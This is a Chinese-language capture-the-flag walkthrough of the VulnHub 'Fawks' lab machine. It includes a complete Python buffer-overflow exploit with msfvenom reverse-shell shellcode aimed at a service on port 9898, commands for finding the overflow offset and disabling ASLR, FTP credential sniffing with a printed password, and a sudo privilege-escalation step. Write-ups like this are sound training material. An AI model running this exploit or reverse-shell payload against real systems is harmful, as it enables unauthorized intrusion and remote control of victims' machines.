vulnhub - Fawks - writeup
信息收集
目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。
80端口的是一张图片,就是哈利波特的海报图。
anonymous空密码登上去有一个文件下载下来是二进制的文件
上kali里面运行看看。
可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。
ps -aux | grep server
ss -pantu | grep server
但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。
python -c "print('A'*500)"
在edb这里调试器报错了,提示的0x414141意思就是 A。
可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。
确定溢出位置
使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。
msf-pattern_create -l 500
使用msf-pattern_offset来找偏移量。
msf-pattern_offset -l 500 -q 64413764
验证EIP和ESP位置
生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。
python -c "print('A'*112+'BBBB'+'Hi')"
可以构造脚本反弹shell了。
寻找可执行权限的。
找到jmp esp的位置。
在机器指令中,需要反向写。
08049d55
\x55\x9d\x04\x08
使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python
最终的payload:
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c"
payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
s=socket.socket()
s.connect(('192.168.45.10',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。
22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。
cat /proc/1/cgroup
翻找了一下找到一个flag和一个提示。
按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k
。
tcpdump -i eth0 port 21
登上ftp又得到一个flag。
试了一下ssh也能登录而且是宿主机。
拉下来之后修改一下里面sudo的位置。
将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。
scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py